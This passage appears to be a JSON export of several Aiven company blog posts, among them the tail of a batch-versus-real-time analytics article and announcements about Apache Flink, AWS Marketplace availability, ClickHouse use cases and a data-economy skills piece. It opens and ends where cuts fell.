call, have to shut down production for 10 minutes, and suddenly find yourself losing hundreds of millions of dollars due to delayed data collection.\n\n### Empower data analysts to do their jobs well \nReal-time data empowers data analysts with a more complete and accurate picture of the data they are working with, which can be very helpful in their jobs. \n\nIf you've spent thousands of hours and millions of dollars a year hiring a team of smart people whose jobs are to analyse your data and share the results, why would you limit them to only considering the situation every 20 minutes? \n\n::banner[Tiered Storage, a feature of Apache Kafka 3.6 which allows the offloading of data to object storage in the cloud, is the game-changer you’ve been waiting for.]{ctaText=\"Watch the livestream\" ctaLink=\"https://aiven.io/video/unlocking-the-future-of-kafka-with-tiered-storage\" title=\"Livestream: Kafka with Tiered Storage\" theme=\"dark\"}\n\n## How to move from batch to real-time analytics\nKeep in mind that when switching from batch to real-time, you don’t lose a thing. You’re not trading in batch for real-time. Instead, you’re starting at a better place with a real-time system, and you could always add your batch system back on top if you still need it. \n \nTo make the [switch to a real-time analytics pipeline](https://aiven.io/blog/build-a-real-time-analytics-pipeline), use open-source tools like Apache Kafka®, [Apache Flink®](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka), and [ClickHouse®](https://aiven.io/blog/what-is-clickhouse) (KFC). The KFC stack allows you to build up a robust, scalable architecture for getting the most from your data, whether it be batched ETL or real-time metrics.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/b1510915a81627a90a9a1b358dbab0dfc61326f6-2500x1625.jpg)\n \nBy using real-time tools, you can denormalise the data into a database management system (DBMS) like ClickHouse to allow high speed access to the joined-up data. \n\nMany other tools are moving in the direction of real-time. [Materialize](https://www.businesswire.com/news/home/20221003005377/en/Materialize-Makes-Using-Real-Time-Data-as-Simple-as-Batch-With-New-Distributed-Streaming-Database), for example, offers a distributed streaming database that enables immediate, widespread adoption of real-time data for applications, business functions, and other data products. Israeli startup [Firebolt](https://www.firebolt.io/) allows you to deliver sub-second and highly concurrent analytics experiences over big and granular data. \n\nUltimately, moving to real-time does require more than just adopting new tools. It requires a change of mindset. Companies need to modernise their data architectures to move at machine-speed rather than people-speed. \n\n## The real-time tide will keep rising \nWhen the Internet first arose some people thought it was just a passing fad, or an overhyped idea that would fizzle out. But look where we are today. \n\nThe same thing is happening now with real-time analytics. \nWhile real-time technology will no doubt change in the coming years, the process itself isn’t going away. Rather, it will keep evolving to become even faster. \n \nSo, will you be left behind or will you switch to real-time? \n\n::banner[Read more why you should be analysing your streaming data, not just moving it around.]{ctaText=\"Make your streaming data work for you\" ctaLink=\"https://aiven.io/blog/streaming-data-analytics-in-the-real-world\" title=\"Already using Apache Kafka®?\" theme=\"dark\"}\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n## Further reading\n\n- [Top requirements for building performant real-time applications](https://aiven.io/blog/the-top-requirements-for-building-performant-real-time-applications)","categories":[{"_key":"dbcfa0097156","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"48a10078be85","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"0429027b2b78","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-103acde23f8e1096ff0a67aa799af9449f59e355-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-01-10T11:47:06.889Z","related":[{"_key":"25d0e9e4dd63","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},{"_key":"b5cac0dd1716","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Learn the disadvantages of batch analytics, the benefits of switching to real-time, and how to adopt a tech stack that supports real-time analytics.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-103acde23f8e1096ff0a67aa799af9449f59e355-1567x844-jpg","_type":"reference"}},"metaTitle":"Reasons for Moving from Batch to Real-Time Analytics"},"slug":{"_type":"slug","current":"/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time"},"subtitle":"Learn the disadvantages of batch analytics, the benefits of switching to real-time, and how to adopt a tech stack that supports real-time analytics.","title":"Why you should think about moving analytics from batch to real-time"} {"__i18n_lang":"en","_createdAt":"2023-01-31T13:49:45Z","_id":"bc611918-4bbd-462d-95ac-cc2ebf962189","_rev":"ZLvKaZvfbZlWBlGcpInuvG","_type":"post","_updatedAt":"2024-01-29T15:38:25Z","authors":[{"_key":"cb000da83638","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"What is it worth to be first? First to identify a new trend, first to recognize an opportunity, first to recognize a risk or a threat, and to be the first to respond to it? \n\nThe answer is often ‘a lot’ – and sometimes that’s an understatement. According to recent research* over 80% of businesses say that transforming to a real time enterprise is critical to meeting customer expectations, yet only 12% have optimized their processes for real time customer experiences. One of the obvious reasons is that it's harder to remain responsive enough to stay in first place as you grow. This is true for both organizational scale and business complexity. \n\nUtilizing technology is the key to success. Businesses are turning to real-time data from various sources such as connected devices, data-intensive applications and digital operations to drive their growth. Many organizations, including most of Aiven’s customers, have already adopted event streaming technologies like Apache Kafka® to help them detect and respond to changes in real time. \n\nApache Kafka is a proven, reliable way to make data available to the applications and services within any business in real time, but there is a growing need to process that data *as it is being generated*. And wouldn’t you want to do more than just *respond* to data or events - what about deriving value from it in real time?\n\nThis is where Apache Flink® comes in. \n## Apache Kafka and Apache Flink: the cornerstones of event streaming\nTogether with Apache Kafka, Apache Flink enables you to create a robust event streaming infrastructure. Events can flow within the organization via Apache Kafka, while Apache Flink acts as the computational layer, and processes those events in real time. This combination is universally and widely applicable to a variety of industries and organizations of different sizes. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/8140add1f801ee6a87467eb16cb32023a22b826f-3401x1962.png?w=450)\n\nApache Flink makes it easy to build, deploy and operate:\n\n- Streaming analytics (analytics that are computed and updated in real time as new events are being produced and processed)\n- Event-driven applications (these are applications that respond to such data in real time based on new events that are being processed) \n\nApache Flink® is an open source stream processing framework and distributed streaming runtime that originated as a research project from Technische Universität in Berlin, Germany (TU Berlin). In 2015, it became a top-level project under the Apache Software Foundation. \n\nApache Flink has been adopted and battle-tested by some of the largest and most technology-dependent organizations in the world, including [Netflix](https://www.infoq.com/news/2022/04/netflix-studio-search/), [Pinterest](https://medium.com/pinterest-engineering/real-time-experiment-analytics-at-pinterest-using-apache-flink-841c8df98dc2) and [Uber](https://www.uber.com/en-DE/blog/real-time-exactly-once-ad-event-processing/). The framework can be used at varying levels of scale, and its ability to perform stateful computations over both streaming and batch data sets it apart. Apache Flink is a best-of-breed unified processing framework that can deliver significant value to organizations who are serious about utilizing their data in real time.\n\n## Aiven for Apache Flink now available\nToday, we are excited to announce that the [Aiven for Apache Flink® managed service](https://aiven.io/flink) is now generally available for all customers, and ready to use in production. \n\nThe Aiven team has worked with customers who experimented with the [Aiven for Apache Flink®] beta, taking on board their feedback and working on improvements. As a result, everyone can now take advantage of an easy-to-use stream processing service that is ready to support the real-time needs for organizations in all industries and sizes. \n\nThe Aiven for Apache Flink service stands on three key pillars: \n\n- A fully managed Apache Flink service that can be deployed in the cloud of your choice \n- A unique self-service Flink SQL suite, offering a first-class developer experience \n- A Flink automation layer, Aiven's built-in management layer that eliminates the operational overhead of deploying, running, monitoring and managing open source Apache Flink. This provides instant maturity and production-ready data pipelines backed up by enterprise-grade availability SLA of 99.99%.\n\n| **Apache Flink deployed in the cloud of your choice** | **A self service Flink SQL developer experience** | **The utility of Flink without the operational overhead** |\n| ----------- | ----------- |-------------- |\n| ![Illustration shows how Apache Flink connects to different cloud solutions including AWS, Google Cloud and Microsoft Azure.](https://cdn.sanity.io/images/sczeoy4w/production/7103e45b9b3507a78f5128ac5c5fb377908e277b-390x390.png) | ![Illustration represents great developer experience. Laptop is connected to API services and SQL letters are highlighted on the keyboard.](https://cdn.sanity.io/images/sczeoy4w/production/8a84f2434e39422e2d3fae3705d75d7c6dd985c6-390x390.png) | ![Illustration with cogs represents reliability and the speed of Apache Flink.](https://cdn.sanity.io/images/sczeoy4w/production/33769643b1bede78982f06df31c46a4c18d6f743-390x390.png) |\n| Aiven’s managed service for Apache Flink allows you to **distribute your cluster** across multiple cloud providers including the three hyperscalers AWS, Google Cloud and Microsoft Azure. | Apache Flink SQL is at the core of Aiven for Apache Flink. A truly unified API for **low latency** stream processing; **streaming SQL** experience to democratize access to streaming data across teams; bringing **coding best practices** to building and maintaining streaming applications. | A fully managed service for Apache Flink with **near-zero downtime** for operational tasks, **high availability and resilience** from the get go, and a **99,99% SLA**, backed by Aiven’s SRE team. |\n\n\n## Apache Flink deployed in the cloud of your choice\nIf you have a need to deploy applications \u0026 services across multiple cloud providers, but you want to reduce the complexity that comes with this requirement, Aiven can help. Our managed data infrastructure services can be deployed across multiple regions and cloud providers such as AWS, Google Cloud, and Microsoft Azure, giving your organization the flexibility to:\n \n- Fulfill data residency requirements.\n- Increase business resilience.\n- Explore and exploit cost saving opportunities.\n- Avoid potentially being locked into a single provider. \n\nWith data being replicated across multiple cloud providers, running parallel workloads on top of slightly different technologies represents an operational challenge and a considerable risk, especially for mission-critical and data-intensive workloads. \n\nAiven for Apache Flink solves this problem by providing a way to deploy and run your Apache Flink applications in different clouds. Without having to worry about the underlying infrastructure or puzzle over the specific requirements of each cloud vendor, you regain the flexibility to execute on your core business objectives. From today, you can quickly and easily spin up Aiven for Apache Flink clusters in more than 100 regions across AWS, Google Cloud and Microsoft Azure. \n\nAdditionally, with Aiven for Apache Flink, you’ll benefit from the same 99,99% availability SLA commitment across all clouds. \n\nAnd on top of that, you get the same familiar and intuitive Aiven Console, CLI and API experience and the friendly Aiven support across all clouds, everywhere in the world.\n## A self-service Flink SQL developer experience\n\nAiven for Apache Flink brings Apache Flink SQL to center stage in enabling you to build unified, robust, and scalable event-driven applications and streaming analytics with your organization’s real time data. \n\nSQL is the go-to language for data professionals, from data scientists and engineers to business analysts. With its widespread adoption, SQL allows for faster and more efficient data pipeline prototyping, validation, and deployment, which ultimately leads to faster time-to-market for a wide range of applications. Just imagine it: faster and more accurate decisions, just by having a common language for all your data teams across domains. \n\nFlink SQL is the perfect framework for the job thanks to its [wide set of SQL functions](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/functions/systemfunctions/), and its extensive support and development by the Apache Flink community. Flink SQL offers a powerful, unified and declarative API built on top of Apache Flink. It enables performant computations on both bounded and unbounded data streams, making it suitable for a wide range of use cases, such as:\n\n- Streaming analytics\n- Data integration\n- Pattern matching and anomaly detection\n- AI and Machine Learning\n\nIt’s ANSI SQL compliant, integrated with Apache Calcite’s query optimization, and SQL parsing capabilities. \n\nAll this makes Flink SQL a technology that established organizations are already exploiting to great benefit.\n\nIn Aiven for Apache Flink, we are taking Flink SQL to the next level by bringing coding best practices to the construction of real time Apache Flink applications.\n\n**A redesigned interface with new capabilities.**\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/b91f9218e178e023d9852193bd5bd8e3c7fb7857-1140x499.png?w=450)\n\nIn Aiven for Apache Flink, we introduce the concept of ‘applications’ at the core of the development environment. An Application brings together all the elements of your Flink jobs (sink and source tables, transformation SQL, deployment parameters, checkpoints and more). \n\n**Application versioning**\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/9837943b53091181eb4d7cbad98e67629d57f0b3-1152x411.png?w=450)\n\nDefine several versions of your Flink applications—you can easily ‘time travel’ in your development cycle with a click of a button and move between versions. \n\n**Pipeline output preview**\n\n::youtube[Pipeline output preview with Aiven for Apache Flink]{#eGWCUx600dI}\n\n\u0026nbsp;\n\u0026nbsp;\n\nAiven for Apache Flink enables the concept of previewing the output of your table definition and SQL transformation. This allows you to execute your Flink SQL query in your application and preview the first lines of the results to ensure that your code execution brings the expected outcome before moving ahead with your deployment.\n\n## All the utility of Apache Flink without the operational overhead\n\nManaging your own Apache Flink jobs — be it on-premises or in a self-hosted or self-managed environment — can be difficult. This is especially the case when your jobs experience unpredictable and spiky data traffic fluctuations, which requires you to manually scale your infrastructure to ensure that high data loads are backed by all the necessary resources, whenever they occur. \n\nMoving to a fully managed cloud service can be the solution. Using [Aiven for Apache Flink](https://aiven.io/flink) automates most of the operational and maintenance activities around managing Flink in production:\n\n- **Easily scaling up (or down) your resources**\nUsing the elasticity of the cloud, Aiven for Apache Flink allows you to easily scale up or down your resources with the click of a few buttons in the Aiven Console. \nYou can provision resources according to the data loads you expect Apache Flink to be processing on a daily/weekly/monthly basis. Another option is to set up an automated process that triggers service scale up or down based on the service workload. \n- **Graceful shutdown with persisted savepoints**\nWith Aiven for Apache Flink you can now gracefully shut down your Flink jobs. This ensures that your savepoints are persisted if you need to restart them later.\n\nTo add to all of the above, Aiven’s service for Apache Flink is backed by Aiven’s 99.99% SLA just like all our services.\n\nAiven now brings a robust, production-grade, easily deployed Apache Flink service and a streaming SQL engine able to handle most streaming SQL applications scenarios for the modern enterprise. You can really start building streaming applications in minutes, without worrying about managing and maintaining this piece of infrastructure. And most importantly, without worrying about your team’s management and maintenance overhead.\n\n## Pricing \u0026 availability\nAiven for Apache Flink is immediately available on all major hyperscalers - AWS, Google Cloud and Microsoft Azure - in over 100 regions globally.\n\nAll Aiven for Apache Flink plans come with a minimum of 3-node setup, providing resilience and high availability while ensuring minimal downtime even in the case of a node failure.\n\nAiven for Apache Flink is priced per hour, with prices starting from $0.57/h ($400/month).\n\n## Getting started with Aiven for Apache Flink\nThe easiest way to get started right now with Aiven for Apache Flink is to take advantage of our [free trial](https://console.aiven.io/signup) with $300 free credits for a month. \n\nAlso check out our [Aiven for Apache Flink product page](https://aiven.io/flink) and our [developer documentation](https://aiven.io/docs/products/flink) for more information and tips to help you get up to speed quickly. \n\n**Happy flinking!**\n\n\nP.S. If you already have a service running Aiven for Apache Kafka, take a look at how to [connect it with our Aiven for Apache Flink service](https://aiven.io/docs/products/flink/howto/create-integration) to get you up and running in no time. \n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\"}\n\n\n**https://partners.wsj.com/aerospike/the-power-of-now/the-future-of-business-starts-right-now/*\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"b1456688d891","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"0f1a1078f83e","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-8fd6a1d9a32b32f69502abdadd9f9c72599e0cbe-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-08T13:00:00.000Z","related":[{"_key":"ede7c3e6c755","_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"},{"_key":"78fc3e1de405","_ref":"6Try3Yao44IvWVZPip4pzx","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/aiven-for-apache-flink-generally-available"},"subtitle":"With Aiven’s fully managed Apache Flink® service, you can leverage the power and flexibility of real time data processing. ","title":"Aiven for Apache Flink® is now generally available"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2I2Z1v2ZqqFAwOmfeYijbd","_rev":"0h6e4MYEG0xbOjLBGGFQXa","_type":"post","_updatedAt":"2024-11-28T09:43:12Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"We are happy to announce that Aiven for Apache Kafka is now available in AWS Marketplace. This means that it will be easier for those of you using AWS infrastructure and services to develop and host your applications to incorporate Aiven into your workflows.\n\n\u003e Specifically, whether you need to deploy Aiven for Apache Kafka from your AWS account to simplify your procurement process or want to include us in your monthly AWS bill, you can.\n\nAnd we won’t stop with managed Kafka; we’ll incrementally add more services until all Aiven services are available there — including our upcoming [Aiven for M3](https://aiven.io/blog/an-introduction-to-m3). Ultimately, you will be able to launch a bona fide, managed open source data pipeline from the AWS marketplace.\n\n## Why start with Aiven for Apache Kafka on AWS Marketplace?\n\nSimply put, Aiven for Apache Kafka represents the most mature cloud Kafka service available on the market. Additionally, Apache Kafka itself forms the foundation of many architectures with far-reaching implications should it fall down in production environments.\n\nAs such, it is imperative that AWS Marketplace customers have access to a managed service that not only fields features necessary to run enterprise workloads but gives them the confidence that their architecture’s heart continues to beat, no matter the circumstance.\n\nThose features and our expertise ensure that you can truly focus on building the applications that push your organization forward while enjoying the benefits of a powerful tool like Apache Kafka without the time and personnel costs that coincide with self-managing such a tool.\n\n## Aiven for Apache Kafka on AWS Marketplace in 3 steps\n\n### Step 1: Click Continue to Subscribe from Aiven for Apache Kafka page\n\nOnce you reach the Aiven for Apache Kafka landing page on AWS Marketplace and review the necessary information, start the registration process by clicking Continue to Subscribe.\n\n![step 1 of subscribing for aiven for apache kafka on aws marketplace](https://cdn.sanity.io/images/sczeoy4w/production/da25b2bb165a8ab255e870ef500f17159006e276-1300x1028.png)\n\n### Step 2: Click Continue to Subscribe from Aiven for Apache Kafka page\n\nAfter you click Continue to Subscribe, you will be sent to the subscription page where you can finalize the subscription from the AWS Marketplace’s side. After you click Subscribe, you will be sent to a Thank You page on our side with a link that sends you to our signup page.\n\n![step 2 of subscribing for aiven for apache kafka on aws marketplace](https://cdn.sanity.io/images/sczeoy4w/production/736a37ab3545d8b8d1ac88b6b8a03b8e01f195e8-1300x495.png)\n\n\n### Step 3: Register at aiven.io and launch your first Apache Kafka cluster\n\nNext, you will be taken to a thank you page from which you will click the link entitled, \"Proceed by creating a new Aiven account.\"\n\n![step 3 of subscribing for aiven for apache kafka on aws marketplace](https://cdn.sanity.io/images/sczeoy4w/production/10099ce0582fb52300ca0b074af06ff13a72c19e-1600x735.png)\n\nLastly, simply input your name, email address, and password into our signup page and launch your first cluster.\n\n![step 4 continued of subscribing for aiven for apache kafka on aws marketplace](https://cdn.sanity.io/images/sczeoy4w/production/a655135aa148002d52ecedaf99181ec8bdb28acb-1600x849.png)\n\n\nThat's it! And remember, we will be adding more Aiven services throughout the year. To stay tuned, subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-97785404499e43aa021f6cb272dd7691825bb2df-726x406-png","_type":"reference"}},"publishedAt":"2020-03-10T00:00:00.000Z","seo":{"metaDescription":"To simplify our customers' procurement and accounting processes, we decided to offer Aiven services in AWS Marketplace. Find out which service we started with and how to get started in this post.","metaImage":{"alt":"","asset":{"_ref":"image-97785404499e43aa021f6cb272dd7691825bb2df-726x406-png","_type":"reference"}},"metaTitle":"Aiven is now available in AWS Marketplace"},"slug":{"_type":"slug","current":"/blog/aiven-now-available-on-aws-marketplace"},"subtitle":"To simplify our customers' procurement and accounting processes, we decided to offer Aiven services in AWS Marketplace. Find out which service we started with and how to get started in this post.","title":"Aiven is now available in AWS Marketplace"} {"__i18n_lang":"en","_createdAt":"2022-09-17T21:00:20Z","_id":"62vXvKS09GfFbkC0gY6xvu","_rev":"ZhxRwgWPklJwoe04lpQiIU","_type":"post","_updatedAt":"2024-11-28T13:02:40Z","authors":[{"_key":"2acjNLjMT0JmpSV9r8dyvC","_ref":"2acjNLjMT0JmpSV9r8dyvC","_type":"reference"}],"body":"## What *does* that mean?\nWhat it means is, Aiven for ClickHouse is your one-stop tool for long-term storage of big volumes of data, and boasts an ideal toolkit for working with analytical data. This includes a huge number of functions, operators, compression codecs - and more. You’ve probably heard the term *online analytical processing* - OLAP. That’s what we’re talking about.\n\n[Open source ClickHouse](https://aiven.io/blog/what-is-clickhouse \"What is ClickHouse? An introduction\") is a columnar database offering extremely high throughput. To enjoy high-performance analytics for insights that help drive your business, integrate ClickHouse with [Aiven for PostgreSQL®](https://aiven.io/docs/products/postgresql/get-started) Integrate with PostgreSQL®\") or [Aiven for Apache Kafka®](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka.html \"Integrate with Apache Kafka®\"). \n\nNow, let’s talk cases.\n\n### Offload analytics from your operational databases\nAre you using Aiven for PostgreSQL as your operational database? Running analytical queries directly as part of your online transaction processing (OLTP) setup?\n\n__The problem:__ Running analytical queries - which can take hours - slows down performance for other users who just want to use the database to read, update or delete data. This impact on OLTP database performance can be considerable.\n\n__The solution:__ Offloading analytics queries from PostgreSQL to ClickHouse using its built-in integrations. Bringing analytical data into ClickHouse helps speed up queries and ensure that performance of OLTP requests in PostgreSQL is not affected.\n\n### Get real time analytical dashboards and reporting\nLet's say you're in the business of capturing metrics. *Lots* of metrics. Server metrics, IoT devices, connected vehicle fleet data, you name it. \n\n__The problem:__ Your existing infrastructure can’t handle the increased telemetry load, and you’re experiencing limited functionality and aggregation capabilities in your current datastore.\n\n__The solution:__ Data can be quickly aggregated in real time to push the latest stats to dashboards. Efficient storage algorithms allow us to store a lot of data and enable users to easily generate trends and comparisons by looking at historical and recent data side by side.\n\n### Get high-performance analytics for your streaming and time series data\nDo your applications need frequent time series data aggregation? Do you need to quickly store and process big data to display to your end users?\n\n__The problem:__ As data volumes / number of users increase, your existing stack performance hasn’t scaled to match - and queries are getting slower.\n\n__The solution:__ ClickHouse is ideal for fast aggregations on large datasets. ClickHouse’s vectorized query execution and [compression](https://clickhouse.com/docs/en/about-us/distinctive-features#data-compression \"Data compression with ClickHouse\") work to greatly improve performance.\n\n## Does any of this sound like you?\nIf so, let’s get started! With us, you can set up clusters, deploy new nodes, migrate clouds and fork databases in just a few clicks. Better yet, you can monitor everything on a simple dashboard - or use [Aiven for ClickHouse with Grafana](https://aiven.io/docs/products/clickhouse/howto/connect-to-grafana.html \"Visualize ClickHouse® data with Grafana®\") to really bring your data warehouse to life.\n\nAiven for ClickHouse allows you to set up a fully managed cloud data warehouse in less than 10 minutes. If you’re a new customer, you'll need to create an Aiven trial account first.\n\n1. [Log in to the Aiven Console](https://console.aiven.io/signup).\n2. Create a new ClickHouse service.\n3. Load data to your newly created service.\n4. Use the built-in query editor to develop and test your analytics queries.\n5. Enjoy!\n\nFor more information, visit our [Aiven for ClickHouse product page](https://aiven.io/docs/products/clickhouse.html) and check the [product documentation here](https://aiven.io/docs/products/clickhouse/ \"Aiven Developer Portal\").\n\nIf you have any feedback or questions, hit us up on [Twitter](https://twitter.com/aiven_io).\n\nTo get the latest news about Aiven and our services, plus a bit extra on all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"4Ys3OINPj3glC5uOMr5dqF","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-4bd6ef2a225938a5337b6b6d64fd94d01e6787ca-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-15T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven for ClickHouse® is a fully-managed cloud data warehouse designed for exceptionally fast online analytical processing … what does that mean?","metaImage":{"alt":"","asset":{"_ref":"image-4bd6ef2a225938a5337b6b6d64fd94d01e6787ca-1567x844-png","_type":"reference"}},"metaTitle":"Use cases for ClickHouse® | Find out more | Aiven"},"slug":{"_type":"slug","current":"/blog/use-cases-for-clickhouse"},"subtitle":"Aiven for ClickHouse® is a fully-managed cloud data warehouse designed for exceptionally fast online analytical processing … what does that mean?","title":"Use cases for ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2025-01-09T17:41:41Z","_id":"fd01a2f2-79ea-4323-8354-aede75d215f9","_rev":"tW1iVB3M02HkZ9xlNZtBdk","_type":"post","_updatedAt":"2025-01-09T18:12:53Z","authors":[{"_key":"d3395abf77e9","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"The data economy may hinge on technology but it is being driven-forward by people. The fourth piece in our series explores this side of the data economy in detail looking at the evolution of digital skills required in today’s market. Featuring insight from Dojo, Atomico and WorkOrb, it looks at the challenges of finding people with the necessary skills and touches on what is required from a human capital perspective for companies to best achieve success in the data economy. If you’ve missed any of the earlier blogs, you can find them [here](https://aiven.io/blog)\n\nFor all the advancements made in technology, none of it would be possible without humans. It’s why, in today’s dynamic, data-driven economy, talent has emerged as a critical factor in enhancing competitiveness.\n\nYet, for a resource as abundant as people, accessing the right skills is proving to be challenging. It poses the question as to whether the capabilities available in the market today are helping or hindering growth in the data economy.\n\n::youtube[What is the data economy and why is it important]{#r-9Grwgucbk}\n\n\n## Technology evolving faster than our ability to keep up\nOver the past decade, employment in the technology sector in Europe has grown exponentially, increasing by around 60% over that period, according to the [European Commission](https://ec.europa.eu/eurostat/statistics-explained/index.php?title=ICT_specialists_in_employment). It also reports that this growth starkly contrasts with the 10% increase in overall job creation in the European economy. \n\nThis trend reflects a growing demand for digital professionals but volume alone only tells part of the story. The challenge is that technology is evolving faster than our ability to keep up. Each rotation of progress is taking us forward at one end and widening the digital skills gap at the other. It’s an issue that already [costs](https://www.kingstrust.org.uk/about-us/news-views/decoding-digital-skills-gap-report) the UK economy up to £63 billion a year. \n\n\n## Not enough people with the right skills\nPut simply, there are not enough people with the types of skills needed to work in the data economy. It’s an issue that is being exacerbated by the rise of Generative AI with companies intent on recruiting talent that will both differentiate themselves from the competition and provide a degree of sovereignty when it comes to the AI tooling that will drive the business forward. Because every company now entering the economy is data-based, the talent pool of those with the right type of skills diminishes. Unless something is done, it’s a race to the bottom.\n\nIt was a point made by **Luca Eisenstecken, Partner, [Atomico](https://atomico.com/)** who recently told us, \n\n\u003eData and AI profiles are some of the most sought after skill sets currently by recruiters. Accordingly, there's a lot of demand for those types of profiles and some companies have been struggling to recruit people with the necessary skills.\n\nThis is because AI is distorting the skills market even further. Only a few years ago, those with coding and development skills were in high demand. They’re still highly sought after but, we’re also seeing AI begin to take programming work as it is used to enhance the pace of development for current programmers. Longer term, AI may or may not take more of this type of work but what is certain is that businesses will need people who at least have some element of technical understanding alongside capabilities relating to AI.\n\nIt’s why we’re seeing incentives for young people to get into such areas and a huge drive for STEM subject uptake for secondary school pupils. Unfortunately, the data economy cannot wait for today’s young adults to come of age. So how are businesses the data economy plugging this sills black hole?\n\n\n## Mindset and foundational skills\nOne of the main issues businesses are facing is that ‘digital skills’ is a relatively amorphous term. It covers everything from basic spreadsheet capabilities to complex coding. There is no one-size-fits-all solution and answering it in the speed that is required needs strategic consideration from all sides. As explained by **Jérémy Barneron, Senior Software Engineer at fintech start-up**, [Dojo](https://dojo.tech/make-every-second-count/), an innovative payments company, who said: \n\n\u003eThere are so many tools and technologies that people have experience with. Finding the right match when it comes to what your own company is using is incredibly difficult. It’s why we spend a lot of time going through candidates and making sure that they have the right mindset and foundational skills. Having adaptability and hunger to learn new skills is more valuable for us over the long term than an individual with deep knowledge in a limited space.\n\nIndividuals, too, also need to bear some degree of responsibility in terms of best equipping themselves with the type of skills and experiences that are being sought. It is one of the driving forces behind the [Aiven Cluster Program](https://aiven.io/cluster), which offers early stage companies credits to use on any of the open source services available on the Aiven platform. This helps young companies grow but, by proxy, exposes those people working in them to the latest tools and platforms that will be the foundation to future businesses.\n\n“Hard skills always matter more than logos on a resume,” says Luca Eisenstecken\n\n\n## A manifestation of innovation\nThe data economy is a manifestation of innovation. It exists because it solves problems - mostly this is for customers and citizens but, when it comes to skills, this is something that it needs to address for itself. It won’t happen overnight but as more and more data-based companies emerge, so too do the opportunities for people to work in a place that exposes them to the rigors needed to be successful in tomorrow's economy.\n\nWe also caught up with **Nilesh Bansal, co-founder and CTO at** [Workorb](https://www.workorb.com/, an AI and ML founded company poised to revolutionize the sales landscape, who shared some great insights into how his company is bridging the skills gap. He said, \n\n\u003eTeams need to go beyond the skills that they have historically been using and move on to a new phase. One capable of ensuring data is accessible, resilient, reliable with the right governance controls in place. That's what will drive the data economy forward.\n\n\n## Always something new to learn\nThe rate at which technology advances means there’ll unlikely ever be an over-supply of skills and talent. However, today’s data-driven companies are far better positioned than their predecessors when it comes to upskilling and evolving their teams in an environment that encourages gradual improvement.\n\nIt’s this gradual improvement, brought about by every innovative entrant to the data economy, that will plug the skills gap. 